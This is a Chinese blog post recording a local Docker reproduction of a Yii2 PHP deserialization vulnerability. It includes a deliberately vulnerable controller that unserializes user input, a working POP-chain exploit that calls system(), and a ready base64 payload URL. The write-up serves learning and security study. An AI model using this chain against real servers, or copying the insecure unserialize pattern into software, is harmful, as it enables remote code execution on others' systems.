Yii2 反序列化漏洞復現


Yii2 反序列化漏洞復現

前言

  • 之前紅帽杯做題時碰到的,當時沒細究,現在來本地搭建復現一下
  • 原理性的內容就不多說了,本文也只是為了記錄一下我復現時候的過程,方便后面復習時用

環境搭建

  • 本來想跟着網上大多數人的那種教程一樣,直接從GitHub下載源碼,然后docker-compose up安裝,但是一直沒能成功,后續想嘗試着直接Windows上安裝,但是過程過於復雜,所以最終還是選擇直接docker安裝

docker 搭建Yii2環境

  • 直接docker searche yii2
  • 我選擇的是schmunk42/yii2-app-basic,然后直接docker pull schmunk42/yii2-app-basic 拖取鏡像即可
  • 啟動鏡像docker run -d -P schmunk42/yii2-app-basic
  • 訪問ip:49153,出現以下界面即搭建完成

漏洞復現

創建一個存在漏洞的Action:/controllers/TestController.php

  • 代碼如下:
<?php

namespace app\controllers;

use Yii;
use yii\web\Controller;

class TestController extends Controller
{
	public function actionTest(){
		$name = Yii::$app->request->get('unserialize');
		return unserialize(base64_decode($name));
	}
}

  • 利用網上給出的exp進行復現執行系統命令
<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls -al';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
  • 利用在線php代碼執行平台運行生成payload
/index.php?r=test/test&unserialize=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ

參考鏈接

  • https://xz.aliyun.com/t/8307?page=5
  • https://anquan.baidu.com/article/1260


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM